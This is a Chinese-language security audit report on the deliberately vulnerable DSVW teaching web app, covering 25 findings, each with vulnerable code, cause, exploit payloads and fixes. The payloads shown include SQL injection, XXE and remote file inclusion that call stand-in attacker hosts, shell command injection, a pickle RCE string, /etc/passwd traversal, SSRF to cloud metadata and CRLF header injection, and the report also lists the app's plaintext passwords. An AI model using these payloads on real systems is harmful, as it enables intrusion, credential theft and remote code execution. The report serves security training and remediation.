DSVW (Damn Small Vulnerable Web) 代码安全审计报告
一、审计概述
| 项目 | 内容 |
|---|---|
| 审计目标 | dsvw.py(单文件 HTTP Web 应用,共 97 行) |
| 目标版本 | v0.5(源码内 VERSION 常量),git HEAD ec4e55d |
| 目标语言 | Python 3 |
| 运行方式 | python3 dsvw.py,默认监听 127.0.0.1:65412 |
| 审计日期 | 2026-08-16 |
| 审计方式 | 人工静态代码审计(逐行走查 + 攻击载荷验证推演) |
| 重要说明 | DSVW 是 sqlmap 作者 Miroslav Stampar 编写的故意留洞的教学靶场,文中所有漏洞均属"设计如此"。本报告以**"若作为生产应用上线"**为标准评估风险,用于安全教学/代码审计训练参考。 |
二、系统简介
- 单文件
BaseHTTPRequestHandler实现,一个do_GET处理所有路由。 - 数据层为内存 SQLite:
users(含明文密码)与comments两张表,由init()初始化。 - 页面顶部内置一个
<script>(HTML_PREFIX),负责 DOM 渲染——第一处 XSS 就在 HTML 模板里。 - 所有漏洞都附带"vulnerable / exploit / info"三连链接,exploit 即现成攻击载荷。
三、漏洞统计总览
共发现 25 项问题:严重 8 / 高危 6 / 中危 7 / 低危 4。
| # | 漏洞 | 位置 | 严重程度 | CWE |
|---|---|---|---|---|
| 1 | SQL 注入(id 参数,盲注/UNION/时间盲注) | dsvw.py:24 |
🔴 严重 | CWE-89 |
| 2 | SQL 注入(登录密码参数,登录绕过) | dsvw.py:63 |
🔴 严重 | CWE-89 |
| 3 | HTTP 参数污染(HPP) | dsvw.py:20,63 |
🟠 中危 | CWE-235 |
| 4 | 反射型 XSS(v 参数) | dsvw.py:27 |
🔴 严重 | CWE-79 |
| 5 | 存储型 XSS(评论) | dsvw.py:42-48 |
🔴 严重 | CWE-79 |
| 6 | DOM XSS(hash lang=) |
dsvw.py:10 |
🟠 高危 | CWE-79 |
| 7 | JSONP 回调注入 + 未授权数据暴露 | dsvw.py:61 |
🟠 高危 | CWE-79 |
| 8 | XXE(本地文件读取 / 远程实体) | dsvw.py:35 |
🔴 严重 | CWE-611 |
| 9 | SSRF 服务端请求伪造 | dsvw.py:31 |
🟠 高危 | CWE-918 |
| 10 | 任意文件读取 / 路径穿越 | dsvw.py:31 |
🟠 高危 | CWE-22 |
| 11 | 源码泄露 | dsvw.py:31 |
🟠 高危 | CWE-540 |
| 12 | 全路径泄露(异常栈返回客户端) | dsvw.py:66-69 |
🟠 中危 | CWE-209 |
| 13 | 远程文件包含 → 任意代码执行 | dsvw.py:50-53 |
🔴 严重 | CWE-98 |
| 14 | 命令注入(nslookup + shell=True) | dsvw.py:33 |
🔴 严重 | CWE-78 |
| 15 | pickle 反序列化 RCE | dsvw.py:29 |
🔴 严重 | CWE-502 |
| 16 | 服务端模板注入(str.format) | dsvw.py:57 |
🟠 高危 | CWE-1336 |
| 17 | CSRF(GET 状态变更,无令牌) | dsvw.py:42-48,63-64 |
🟠 中危 | CWE-352 |
| 18 | 点击劫持 / Frame 注入 | dsvw.py:27,75 |
🟠 中危 | CWE-1021 |
| 19 | 未验证重定向(开放重定向) | dsvw.py:54-55,72-73 |
🟠 中危 | CWE-601 |
| 20 | HTTP 响应头注入 / 响应拆分 | dsvw.py:76 |
🟠 中危 | CWE-113 |
| 21 | 拒绝服务(内存耗尽) | dsvw.py:40 |
🟠 中危 | CWE-400 |
| 22 | 敏感数据明文存储(密码) | dsvw.py:11,15 |
🟡 低危 | CWE-256 |
| 23 | 会话 Cookie 属性缺失 / 会话逻辑缺陷 | dsvw.py:64 |
🟡 低危 | CWE-539 |
| 24 | 安全响应头缺失 + 主动关闭 XSS 防护 | dsvw.py:75 |
🟡 低危 | CWE-693 |
| 25 | 文件句柄泄漏(每请求不关闭) | dsvw.py:31,57 |
🟡 低危 | CWE-772 |
四、漏洞详情
1. SQL 注入(id 参数)|🔴 严重
- CWE:CWE-89 SQL Injection
- 代码位置:
dsvw.py:24
漏洞代码:
if path == '/':
if "id" in params:
cursor.execute("SELECT id, username, name, surname FROM users WHERE id=" + params["id"])
原因分析:
id 参数通过字符串拼接直接进入 SQL 语句,未使用参数化查询、无任何过滤/转义。同一个注入点可完成三种攻击形态:布尔盲注、时间盲注、UNION 注入。攻击者可逐字符爆破 admin 密码、读取整表数据。
利用方式:
# 直接注入,拖出全部用户
/?id=1 OR 1=1
# 布尔盲注:判断 admin 密码首字符是否为 '7'
/?id=2 AND SUBSTR((SELECT password FROM users WHERE name='admin'),1,1)='7'
# 时间盲注:判断密码第 2 字符是否为 'e'(真则延时)
/?id=(SELECT (CASE WHEN (SUBSTR((SELECT password FROM users WHERE name='admin'),2,1)='e')
THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(300000000))))) ELSE 0 END))
# UNION 注入:直接回显 admin 的 id/username/password
/?id=2 UNION ALL SELECT NULL,NULL,NULL,
(SELECT id||','||username||','||password FROM users WHERE username='admin')
修复建议:
# 使用参数化查询,杜绝拼接
cursor.execute("SELECT id, username, name, surname FROM users WHERE id = ?", (params["id"],))
2. SQL 注入(登录密码参数,登录绕过)|🔴 严重
- CWE:CWE-89 SQL Injection
- 代码位置:
dsvw.py:63
漏洞代码:
elif path == "/login":
cursor.execute("SELECT * FROM users WHERE username='" +
re.sub(r"[^\w]", "", params.get("username", "")) +
"' AND password='" + params.get("password", "") + "'")
原因分析:
username 用 re.sub(r"[^\w]", "", ...) 剥掉了非字母数字下划线字符,这里做了防护;但 password 完全没有过滤,直接拼接进 SQL。单引号可闭合字符串,OR 构造恒真条件实现任意用户登录绕过。用户名已消毒、密码未消毒——典型的"部分过滤"缺陷。
利用方式:
# admin 用户登录绕过('1' LIKE '1' 恒真)
/login?username=admin&password=' OR '1' LIKE '1
修复建议:
# 参数化 + 密码哈希比对,绝不拼接
row = cursor.execute(
"SELECT * FROM users WHERE username = ? AND password = ?",
(params.get("username", ""), params.get("password", ""))
).fetchall()
# 同时将 password 改为哈希值存储,并用恒定时间比较(hmac.compare_digest)
3. HTTP 参数污染(HPP)|🟠 中危
- CWE:CWE-235 Improper Handling of Extra Parameters
- 代码位置:
dsvw.py:20(参数解析器)+dsvw.py:63(拼接进 SQL)
漏洞代码:
code, content, params, cursor = http.client.OK, HTML_PREFIX, dict(
(match.group("parameter"),
urllib.parse.unquote(','.join(re.findall(r"(?:\A|[?&])%s=([^&]+)" % match.group("parameter"), query))))
for match in re.finditer(r"((\A|[?&])(?P<parameter>[\w\[\]]+)=)([^&]+)", query)), connection.cursor()
原因分析:
参数解析器用 findall 把同名参数的多个值全部取出并用逗号连接,而不是按 RFC 取首个/末个。这个被"污染"的值随后进入拼接式 SQL。攻击者可把一次性注入拆成多个 password= 片段,配合 SQL 注释 /* , */ 吞掉逗号,绕过"看代码以为做过过滤"的直觉判断,达到登录绕过。漏洞根因是解析器错误合并同名参数 + 下游继续拼接 SQL。
利用方式:
# 五个 password= 片段,逗号被 SQL 块注释吸收后拼成恒真条件
/login?username=admin
&password='/*
&password=*/OR/*
&password=*/'1'/*
&password=*/LIKE/*
&password=*/'1
# 实际进库:... AND password='' OR '1' LIKE '1'
修复建议:
# 解析时只取第一个值,不合并重复参数
values = re.findall(r"(?:\A|[?&])%s=([^&]+)" % name, query)
params[name] = urllib.parse.unquote(values[0] if values else "")
# 更根本:全部改用参数化查询(见漏洞 1/2)
4. 反射型 XSS(v 参数)|🔴 严重
- CWE:CWE-79 Cross-site Scripting (Reflected)
- 代码位置:
dsvw.py:27
漏洞代码:
elif "v" in params:
content += re.sub(r"(v<b>)[^<]+(</b>)", r"\g<1>%s\g<2>" % params["v"], HTML_POSTFIX)
原因分析:
v 参数被 %s 原样写回 HTML 版本号位置,无任何 HTML 实体编码。页面结构决定了这个值会落在 <b>...</b> 里,直接注入 <script> 即可执行。根因:反射数据未编码进 HTML 上下文。同时它还是漏洞 18(Frame 注入)的载体。
利用方式:
/?v=0.4<script>alert("arbitrary javascript")</script>
修复建议:
elif "v" in params:
content += re.sub(r"(v<b>)[^<]+(</b>)", r"\g<1>%s\g<2>" % html.escape(params["v"]), HTML_POSTFIX)
# 配合 Content-Security-Policy 纵深防御(见漏洞 24)
5. 存储型 XSS(评论)|🔴 严重
- CWE:CWE-79 Cross-site Scripting (Stored)
- 代码位置:写入
dsvw.py:44,渲染dsvw.py:47-48
漏洞代码:
if "comment" in params:
cursor.execute("INSERT INTO comments VALUES(NULL, '%s', '%s')" % (params["comment"], time.ctime()))
...
else:
cursor.execute("SELECT id, comment, time FROM comments")
content += "<div><span>Comment(s):</span></div><table>...%s...</table>%s" % (
"".join("<tr>%s</tr>" % "".join("<td>%s</td>" % _ for _ in row) for row in cursor.fetchall()), HTML_POSTFIX)
原因分析:
评论内容入库不消毒、出库不编码——双层失守。任意访客写入 <script>,任何查看评论页的后续用户都会中招。这是比反射型 XSS 危害更大的持久化攻击面(可劫持管理员会话、挂挖矿、钓鱼)。同表写入点同时是漏洞 17(CSRF)的目标。
利用方式:
# 1. 提交恶意评论
/?comment=<script>alert("arbitrary javascript")</script>
# 2. 诱导他人访问评论列表
/?comment=
# → 脚本在受害者浏览器执行
修复建议:
# 写入:参数化查询 + 输出时 HTML 编码(双向都做)
content += "".join("<td>%s</td>" % html.escape(str(_)) for _ in row)
6. DOM XSS(hash lang=)|🟠 高危
- CWE:CWE-79 Cross-site Scripting (DOM)
- 代码位置:
dsvw.py:10(HTML_PREFIX 内联脚本)
漏洞代码:
<script>
function process(data) { ... };
var index = document.location.hash.indexOf('lang=');
if (index != -1)
document.write('<div style="...">Chosen language: <b>' +
decodeURIComponent(document.location.hash.substring(index + 5)) + '</b></div>');
</script>
原因分析:
恶意数据来自 URL 片段(location.hash),服务端完全无法感知,只能靠客户端 JS 处理。document.write 直接拼接 decodeURIComponent 后的 hash 内容,构成 DOM sink——即使后端把反射点全部修掉,此漏洞依然存在。根因:不可信输入直接进入 document.write 动态 HTML sink。
利用方式:
/?foobar#lang=en<script>alert("arbitrary javascript")</script>
# 无需服务端回显,片段纯客户端执行
修复建议:
// 1) 禁用 document.write,改用 textContent / innerText 等安全 API
// 2) 或白名单校验语言值
var lang = (location.hash.match(/lang=([^&]+)/) || [])[1];
if (lang) { document.getElementById('lang').textContent = lang; }
7. JSONP 回调注入 + 未授权数据暴露|🟠 高危
- CWE:CWE-79(回调注入)/ CWE-284(未授权访问)
- 代码位置:
dsvw.py:61
漏洞代码:
elif path == "/users.json":
content = "%s%s%s" % (
"" if not "callback" in params else "%s(" % params["callback"],
json.dumps(dict((_.findtext("username"), _.findtext("surname"))
for _ in xml.etree.ElementTree.fromstring(USERS_XML).findall("user"))),
"" if not "callback" in params else ")")
原因分析:
callback参数未做任何格式校验直接回显,攻击者可注入任意 JS(先alert(...)再闭合括号),实现跨域任意代码执行——JSONP 的本质缺陷。- 接口无鉴权返回全部用户数据,任意人可直接访问。
- 同一响应未声明
X-Content-Type-Options: nosniff,叠加 MIME 嗅探风险。
利用方式:
# JSONP 回调注入(任意 JS 在页面域执行)
/users.json?callback=alert("arbitrary javascript");process
# 未授权读取全部用户数据
/users.json
修复建议:
# 回调名严格白名单(仅允许 JS 标识符)
callback = params.get("callback", "")
if not re.match(r"^[a-zA-Z_$][a-zA-Z0-9_$.]*$", callback):
code = http.client.BAD_REQUEST; content = "invalid callback"
# 并增加鉴权 + 输出 Content-Type: application/json; charset=utf-8
8. XXE(本地文件读取 / 远程实体)|🔴 严重
- CWE:CWE-611 Improper Restriction of XML External Entity Reference
- 代码位置:
dsvw.py:35
漏洞代码:
elif "xml" in params:
content = lxml.etree.tostring(lxml.etree.parse(io.BytesIO(params["xml"].encode()),
lxml.etree.XMLParser(load_dtd=True, resolve_entities=True, no_network=False)), pretty_print=True).decode()
原因分析:
XMLParser 三个关键开关全部向不安全方向打开:
load_dtd=True→ 允许加载外部 DTDresolve_entities=True→ 解析并展开外部实体no_network=False→ 允许联网请求外部资源
结果:可读取服务器任意文件(本地 XXE),或让服务器向内网/外网发起请求(远程 XXE、可探测内网)。
利用方式:
# 本地文件读取
/?xml=<!DOCTYPE example [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>
# 远程实体(服务器代发请求,可用于内网探测/盲打)
/?xml=<!DOCTYPE example [<!ENTITY xxe SYSTEM "http://attacker.com/xxe">]><root>&xxe;</root>
修复建议:
# 禁用外部实体/DTD 与网络(推荐用 defusedxml 全面接管 XML 解析)
from defusedxml import lxml as dlxml
parser = dlxml.DefusedXMLParser(resolve_entities=False, load_dtd=False, no_network=True)
# 或:lxml.etree.XMLParser(load_dtd=False, resolve_entities=False, no_network=True)
9. SSRF 服务端请求伪造|🟠 高危
- CWE:CWE-918 Server-Side Request Forgery
- 代码位置:
dsvw.py:31
漏洞代码:
elif "path" in params:
content = (open(os.path.abspath(params["path"]), "rb")
if not "://" in params["path"]
else urllib.request.urlopen(params["path"])).read().decode()
原因分析:
只要 path 含 ://,服务端就 urlopen 该 URL 并回显响应体。攻击者可以让服务器代为访问内网/本机任意端口(探测内网拓扑、访问 127.0.0.1 上未授权服务、读取云元数据 169.254.169.254)。该分支与漏洞 10/11 共用同一入口。
利用方式:
# 探测本机/内网服务(这里指 CUPS 打印服务 631 端口)
/?path=http://127.0.0.1:631
# 云环境元数据
/?path=http://169.254.169.254/latest/meta-data/
修复建议:
from urllib.parse import urlparse
u = urlparse(params["path"])
# 白名单协议;禁止解析到内网/保留 IP(127.0.0.0/8、10/8、172.16/12、192.168/16、169.254/16、::1 等)
# 禁止重定向跟随,禁止 raw 回显
10. 任意文件读取 / 路径穿越|🟠 高危
- CWE:CWE-22 Improper Limitation of a Pathname
- 代码位置:
dsvw.py:31
漏洞代码:
content = (open(os.path.abspath(params["path"]), "rb") ... ).read().decode()
原因分析:
os.path.abspath 只做"归一化"(把 ../ 解析成绝对路径),并不做越界检查。../../.. 一路向上就能脱离工作目录,读取 /etc/passwd、应用源码、密钥文件等任意文件。
利用方式:
# 读取 /etc/passwd(六个 ../ 从项目目录上溯到根)
/?path=../../../../../../etc/passwd
# Windows 变体
/?path=..\..\..\..\..\..\Windows\win.ini
修复建议:
BASE = os.path.realpath(".") # 白名单根目录
real = os.path.realpath(params["path"])
if not real.startswith(BASE + os.sep): # 越界即拒绝
code = http.client.FORBIDDEN; content = "forbidden"
else:
content = open(real, "rb").read().decode()
11. 源码泄露|🟠 高危
- CWE:CWE-540 Inclusion of Sensitive Information in Source Code
- 代码位置:
dsvw.py:31(同 10 的path分支)
原因分析:
既然任意文件可读,path=dsvw.py 自然返回自身源码。源码泄露将彻底摧毁"通过隐蔽实现保障安全"的最后防线:数据库结构、硬编码密码(见漏洞 22)、认证逻辑全部暴露,为后续攻击(构造精确的 SQLi / pickle 载荷)提供完整情报。
利用方式:
/?path=dsvw.py
修复建议: 同漏洞 10,用白名单目录限制读取范围,且不开放任何以 path 直接读文件的接口(改为从预定义资源 ID 映射文件)。
12. 全路径泄露(异常栈返回客户端)|🟠 中危
- CWE:CWE-209 Generation of Error Message Containing Sensitive Information
- 代码位置:
dsvw.py:66-69
漏洞代码:
except Exception as ex:
sys.stdout = backup if "backup" in locals() else sys.stdout
content = ex.output if isinstance(ex, subprocess.CalledProcessError) else traceback.format_exc()
code = http.client.INTERNAL_SERVER_ERROR
原因分析:
任何异常都执行 traceback.format_exc() 并原样作为 HTTP 响应体返回。完整 traceback 携带服务器绝对路径、出错的源码行、依赖版本等信息。攻击者只要触发一个报错(如 /?path=foobar、/?size=abc)就能拿到服务器目录结构,辅助路径穿越与后续利用。
利用方式:
# 触发 FileNotFoundError,返回带绝对路径的完整栈
/?path=foobar
# 或触发 ValueError
/?size=abc
修复建议:
except Exception as ex:
import logging; logging.exception("request failed") # 栈写到服务端日志
content = "<h1>500 Internal Server Error</h1>" # 客户端只见通用页
code = http.client.INTERNAL_SERVER_ERROR
13. 远程文件包含 → 任意代码执行|🔴 严重
- CWE:CWE-98 Improper Control of Filename for Include/Require
- 代码位置:
dsvw.py:50-53
漏洞代码:
elif "include" in params:
backup, sys.stdout, program, envs = sys.stdout, io.StringIO(), \
(open(params["include"], "rb") if not "://" in params["include"]
else urllib.request.urlopen(params["include"])).read(), \
{"DOCUMENT_ROOT": os.getcwd(), "HTTP_USER_AGENT": self.headers.get("User-Agent"),
"REMOTE_ADDR": self.client_address[0], "REMOTE_PORT": self.client_address[1],
"PATH": path, "QUERY_STRING": query}
exec(program, envs)
content += sys.stdout.getvalue()
原因分析:
include支持://→ 从攻击者服务器拉取远程脚本;- 拉下来的内容直接
exec()执行——等同远程任意代码执行; - 执行环境注入环境变量
DOCUMENT_ROOT等,配合HTTP_USER_AGENT/QUERY_STRING(cmd参数)可传参进被包含脚本; sys.stdout被临时劫持到 StringIO,脚本的 print 输出回显给攻击者。
利用方式:
# 攻击者服务器放一个打印 cmd 参数内容的脚本,然后:
/?include=https://attacker.example.com/payload.py&cmd=ifconfig
# 服务器拉取并 exec,结果回显 → RCE
修复建议: 彻底删除该功能。任何"根据用户输入包含并执行代码"的接口都不可接受;如必须支持动态代码,用沙箱/子进程 + 严格白名单,且绝不从远程 URL 加载。
14. 命令注入(nslookup + shell=True)|🔴 严重
- CWE:CWE-78 Improper Neutralization of Special Elements in OS Command
- 代码位置:
dsvw.py:33
漏洞代码:
elif "domain" in params:
content = subprocess.run("nslookup " + params["domain"], shell=True,
stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, text=True).stdout
原因分析:
两大问题叠加:
shell=True→ 交给系统 shell 解释,元字符;&&|`全部生效;- 用户输入字符串拼接进命令行。
攻击者用 ; 追加任意命令,输出回显,直接拿到服务器 shell 权限(越权为进程用户)。
利用方式:
# POSIX
/?domain=www.google.com; ifconfig
# Windows
/?domain=www.google.com& ipconfig
修复建议:
import shlex, re
if not re.fullmatch(r"(?=.{1,253}$)[a-zA-Z0-9](?:[a-zA-Z0-9\-\.]*[a-zA-Z0-9])?", params["domain"]):
... # 拒绝非法域名
# 绝不使用 shell=True,改为参数列表传递
result = subprocess.run(["nslookup", params["domain"]],
stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True)
15. pickle 反序列化 RCE|🔴 严重
- CWE:CWE-502 Deserialization of Untrusted Data
- 代码位置:
dsvw.py:29
漏洞代码:
elif "object" in params:
content = str(pickle.loads(params["object"].encode()))
原因分析:
pickle.loads 处理完全不可信的 URL 参数。pickle 反序列化可触发任意对象构造与任意函数调用(cos → 全局 reduce → system),等价于直接 RCE。官方文档明确警告:绝不对不可信数据 pickle。
利用方式:
# 载荷:cos system (S'ping -c 5 127.0.0.1' tR.
/?object=cos%0Asystem%0A(S%27ping%20-c%205%20127.0.0.1%27%0AtR.%0A
# 换成反弹 shell / 写文件即完整接管服务器
修复建议: 彻底删除 pickle 接口;如确需序列化,改用 json(无代码执行能力),或对数据源做强鉴权且用 pickle 的受限 Unpickler.find_class 白名单(仅安全类)。
16. 服务端模板注入(str.format)|🟠 高危
- CWE:CWE-1336 Improper Neutralization of Special Elements Used in a Template Engine
- 代码位置:
dsvw.py:57
漏洞代码:
elif "tmpl" in params:
content += "<div><span>Result:</span></div>%s%s" % (
params["tmpl"].format(open(__file__), os), HTML_POSTFIX)
原因分析:
tmpl用户可控,直接作为str.format()的格式串执行;- 更糟的是把
os模块和open(__file__)文件对象作为格式化参数暴露给攻击者——对象图完全可遍历; {1.__dict__[system]}能取到os.system内建函数;{0.__class__}泄露类型。格式化注入虽不能直接"调用"方法,但可读任意可达属性/全局字典,是信息泄露 + RCE 前置原语(可延伸出__globals__链)。- 附带缺陷:
open(__file__)从不 close,每请求泄漏一个文件描述符(参见漏洞 25)。
利用方式:
# 探测:泄露文件对象类型
/?tmpl={0.__class__}
# 关键原语:取到 os.system 内建函数(证明可达系统命令执行接口)
/?tmpl={1.__dict__[system]}
修复建议:
# 绝不把用户输入交给 str.format 作格式串,也不暴露 os / file 对象
# 使用无属性的模板引擎(如 string.Template 安全子集)或纯字符串拼接
import string
template = string.Template("Result: $value")
content += template.substitute({"value": "static"})
17. CSRF(GET 状态变更,无令牌)|🟠 中危
- CWE:CWE-352 Cross-Site Request Forgery
- 代码位置:
dsvw.py:42-48(评论写入)、63-64(登录置 Cookie)
漏洞代码:
elif "comment" in params or query == "comment=":
if "comment" in params:
cursor.execute("INSERT INTO comments VALUES(NULL, '%s', '%s')" % (params["comment"], time.ctime()))
原因分析:
- 状态变更(写评论)通过 GET 触发且无 CSRF Token / 无 SameSite Cookie / 无 Origin 校验;
- 攻击者只需让受害者加载一个
<img src="/?comment=...">即可代表受害者写评论(结合存储型 XSS 扩大影响); - 登录接口同样可被 CSRF,受害者被静默登录进攻击者可控的会话。
利用方式:
<!-- 受害者访问任一攻击者页面,即触发评论写入 -->
<img src="http://127.0.0.1:65412/?comment=<script>...</script>">
修复建议:
# 1) 状态变更一律 POST;2) 校验同源 Referer/Origin;
# 3) 加 CSRF Token 并比对;4) 会话 Cookie 设 SameSite=Strict/Lax
18. 点击劫持 / Frame 注入|🟠 中危
- CWE:CWE-1021 Improper Restriction of Rendered UI Layers
- 代码位置:
dsvw.py:27(反射 XSS 载体)+dsvw.py:75(无X-Frame-Options)
原因分析:
- Frame 注入:反射型 XSS(漏洞 4)可注入
<iframe>,内嵌钓鱼登录框覆盖页面 → 骗取凭证; - 点击劫持:响应无
X-Frame-Options/ CSPframe-ancestors,本页可被第三方站点<iframe>透明叠层,诱导用户点击隐藏按钮(如 CSRF 链接)。
利用方式:
# 通过 v 参数注入 iframe 覆盖全页(内容欺骗/钓鱼)
/?v=0.4<iframe src="https://attacker.example.com/login.html" style="position:fixed;top:0;left:0;width:100%;height:100%;z-index:10"></iframe>
# 点击劫持:攻击者页面把本页叠成透明层,诱导点击
修复建议:
# 服务端下发防嵌套头
self.send_header("X-Frame-Options", "DENY") # 或 SAMEORIGIN
self.send_header("Content-Security-Policy", "frame-ancestors 'none'")
# 同时修复漏洞 4 的反射 XSS,掐断 iframe 注入源头
19. 未验证重定向(开放重定向)|🟠 中危
- CWE:CWE-601 URL Redirection to Untrusted Site
- 代码位置:
dsvw.py:54-55(置 302)+72-73(写 Location)
漏洞代码:
elif "redir" in params:
code, content = http.client.FOUND, ""
...
finally:
...
if "redir" in params:
self.send_header("Location", params["redir"])
原因分析:
redir 参数原样写入 Location 头,可指向任意外部站点。攻击者借助可信域名做 302 跳转到钓鱼站,规避用户对 URL 的警惕(钓鱼/凭证窃取的经典跳板)。
利用方式:
# 点开"可信"链接,实际 302 到钓鱼站
/?redir=https://attacker.example.com/phish
修复建议:
# 仅允许站内相对路径/同源,或白名单前缀
REDIR_OK = ("/", "http://127.0.0.1:65412")
if not params["redir"].startswith(REDIR_OK):
code, content = http.client.BAD_REQUEST, "invalid redirect target"
20. HTTP 响应头注入 / 响应拆分|🟠 中危
- CWE:CWE-113 Improper Neutralization of CRLF Sequences in HTTP Headers
- 代码位置:
dsvw.py:76
漏洞代码:
self.send_header("Content-Type", "%s%s" % (
"text/html" if content.startswith("<!DOCTYPE html>") else "text/plain",
"; charset=%s" % params.get("charset", "utf8")))
原因分析:
charset 参数未过滤 CR/LF 直接拼进 Content-Type 头。http.server 的 send_header 不做 CRLF 清洗,%0d%0a 可注入任意响应头甚至伪造完整响应体(响应拆分),用于反射型钓鱼/投毒(演示中的"HTTP Header Injection phishing"即此)。
利用方式:
# charset 注入 CRLF + 伪造头 + 伪造响应体(钓鱼表单)
/?charset=utf8%0d%0aX-XSS-Protection:0%0d%0aContent-Length:388%0d%0a%0d%0a<!DOCTYPE html>...phishing form...</html>
修复建议:
charset = params.get("charset", "utf8")
if not re.fullmatch(r"[a-zA-Z0-9\-_.]+", charset): # 严格白名单,天然拒绝 \r\n
charset = "utf8"
21. 拒绝服务(内存耗尽)|🟠 中危
- CWE:CWE-400 Uncontrolled Resource Consumption
- 代码位置:
dsvw.py:40
漏洞代码:
elif "size" in params:
start, _ = time.time(), "<br>".join("#" * int(params["size"]) for _ in range(int(params["size"])))
content += "<b>Time required</b> (to 'resize image' to %dx%d): %.6f seconds%s" % (
int(params["size"]), int(params["size"]), time.time() - start, HTML_POSTFIX)
原因分析:
构造 size × size 的字符串,内存占用 O(n²)。size=9999999 即约 10^14 字节(数百 TB)——直接打爆进程内存,配合 ThreadingServer(每请求一线程)可轻松拖垮整机。int() 失败还会额外触发异常栈泄露(漏洞 12)。
利用方式:
/?size=9999999
修复建议:
# 严格上限 + 流式输出,禁止一次性分配 O(n²)
MAX = 100
n = min(int(params.get("size", 0) or 0), MAX)
# 改用生成器逐行 yield,不 join 成整串
22. 敏感数据明文存储(密码)|🟡 低危
- CWE:CWE-256 Plaintext Storage of a Password
- 代码位置:
dsvw.py:11(USERS_XML)+dsvw.py:15(init 入库)
漏洞代码:
USERS_XML = """...<user id="0"><username>admin</username>...<password>7en8aiDoh!</password></user>..."""
...
cursor.executemany("INSERT INTO users(id, username, name, surname, password) VALUES(NULL, ?, ?, ?, ?)", (...))
原因分析:
密码以明文写死在 XML 里并直存 SQLite。一旦发生 SQLi(漏洞 1/2)或文件读取(漏洞 10/11),所有凭据直接裸露。真实业务中明文密码还意味着拖库后撞库、重放攻击的风险。
利用方式:
# 任意一处注入/读取即可直接获得明文凭据
admin / 7en8aiDoh! dricci / 12345 amason / gandalf svargas / phest1945
修复建议:
# 使用 bcrypt/argon2 加盐哈希存储,仅存哈希
import bcrypt
hash_pw = bcrypt.hashpw(password.encode(), bcrypt.gensalt())
# 校验用恒定时间比较(hmac.compare_digest 或 bcrypt.checkpw)
23. 会话 Cookie 属性缺失 / 会话逻辑缺陷|🟡 低危
- CWE:CWE-539 Insufficient Session Expiration / CWE-614 Sensitive Cookie in HTTPS
- 代码位置:
dsvw.py:64
漏洞代码:
content += "Welcome <b>%s</b><meta http-equiv=\"Set-Cookie\" content=\"SESSIONID=%s; path=/\"><meta http-equiv=\"refresh\" content=\"1; url=/\"/>" % (re.sub(r"[^\w]", "", params.get("username", "")), "".join(random.sample(string.ascii_letters + string.digits, 20)))
原因分析:
- Cookie 通过
<meta http-equiv="Set-Cookie">下发,无HttpOnly/Secure/SameSite→ 可被 XSS 读取、可在 HTTP 明文传输、无 CSRF 防护配合(见漏洞 17); - 更致命的是服务端从不校验该 SESSIONID——"登录"只是摆设,任何请求都不做会话鉴权,鉴权逻辑整体缺失。
利用方式:
# 直接调用受保护资源(本应用没有受保护资源,因会话从未被校验)
# XSS 场景下 document.cookie 可读出 SESSIONID
修复建议:
# 用真正的 Set-Cookie 头下发,带全属性
self.send_header("Set-Cookie", "SESSIONID=%s; HttpOnly; SameSite=Strict; Path=/; Secure" % token)
# 并在所有受保护路由服务端校验会话是否存在/有效/过期
24. 安全响应头缺失 + 主动关闭 XSS 防护|🟡 低危
- CWE:CWE-693 Protection Mechanism Failure
- 代码位置:
dsvw.py:75
漏洞代码:
self.send_header("X-XSS-Protection", "0")
原因分析:
- 主动把
X-XSS-Protection关成 0,显式禁用浏览器内置 XSS 过滤器(本意是演示反射型 XSS 不被过滤,但生产环境属自断一臂); - 缺失
Content-Security-Policy、X-Frame-Options(见漏洞 18)、X-Content-Type-Options: nosniff、Referrer-Policy等纵深防御头。
修复建议:
self.send_header("Content-Security-Policy", "default-src 'none'; script-src 'self'; connect-src 'self'")
self.send_header("X-Content-Type-Options", "nosniff")
self.send_header("X-Frame-Options", "DENY")
self.send_header("Referrer-Policy", "no-referrer")
# 删除或移除 X-XSS-Protection: 0
25. 文件句柄泄漏|🟡 低危
- CWE:CWE-772 Missing Release of Resource after Effective Lifetime
- 代码位置:
dsvw.py:31(open(path)不关)、dsvw.py:57(open(__file__)不关)
原因分析:
open(...) 打开的文件对象从不显式关闭(无 with / .close()),进入 read() 后引用即丢。每触发一次即泄漏一个 FD,长时间运行最终耗尽进程文件描述符上限(EMFILE),服务崩溃——叠加 DoS 语义。
修复建议:
with open(real_path, "rb") as fh:
content = fh.read().decode()
# 同理:with open(__file__) as fh: ...
五、修复优先级建议
| 优先级 | 处置项 | 做法 |
|---|---|---|
| P0 立即 | SQL 注入(1/2/3) | 全量改参数化查询;登录改为哈希比对 |
| P0 立即 | RCE 类(13/14/15) | 删除 include+exec、pickle.loads;命令注入去 shell=True 并白名单 |
| P0 立即 | XXE(8) | 关闭 DTD/实体/网络,换 defusedxml |
| P1 尽快 | XSS 全家(4/5/6/7) | 输出编码 + DOM sink 改造 + CSP + JSONP 回调白名单 |
| P1 尽快 | 文件类(9/10/11/12) | 白名单目录 + 协议白名单 + 通用 500 页 |
| P2 排期 | 中危(17/18/19/20/21) | CSRF Token、同源校验、防嵌套头、重定向白名单、charset 白名单、size 上限 |
| P2 排期 | 低危(22/23/24/25) | 密码哈希、Cookie 属性、安全响应头、with 管理资源 |
六、审计结论
DSVW 作为教学靶场,其价值正是把 OWASP Top 10 及常见进阶漏洞浓缩进 97 行代码,每个漏洞的"vulnerable / exploit / info"三连也便于对照学习,整体设计意图明确、演示有效。
但若把同样写法搬到任何真实系统,结论只有一个:全线沦陷。根因可归纳为四条纪律:
- 输入永不可信——本报告 25 项中有 20 项直接源于"用户参数未校验/未编码/未参数化";
- 绝不对不可信数据执行——
exec、pickle.loads、shell=True三个组合拳是最大的 RCE 敞口; - 错误与敏感信息不许出网——traceback、明文密码、源码是对攻击者的"免费情报";
- 纵深防御头不能省——CSP、防嵌套、安全 Cookie 属性是 XSS/CSRF/点击劫持的兜底。
审计对照参考:本项目 CASES 表自带 OWASP/外部漏洞链接,逐条点开即对应本报告各条目的原理出处。